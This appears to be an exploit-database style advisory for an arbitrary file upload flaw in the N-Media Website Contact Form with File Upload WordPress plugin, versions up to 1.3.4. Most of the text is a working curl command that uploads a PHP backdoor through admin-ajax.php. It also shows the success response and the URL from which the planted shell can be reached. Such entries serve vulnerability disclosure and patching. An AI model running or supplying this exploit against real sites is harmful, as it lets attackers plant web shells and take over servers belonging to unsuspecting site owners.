N-Media Website Contact Form with File Upload <= 1.3.4 - Arbitrary File Upload

The "upload_file()" ajax function is affected from unrestricted file upload vulnerability. 

curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" http://www.example.com/wp-admin/admin-ajax.php

Response: {"status":"uploaded","filename":"1427927588-backdoor.php"}

http://www.example.com/wp-content/uploads/contact_files/1427927588-backdoor.php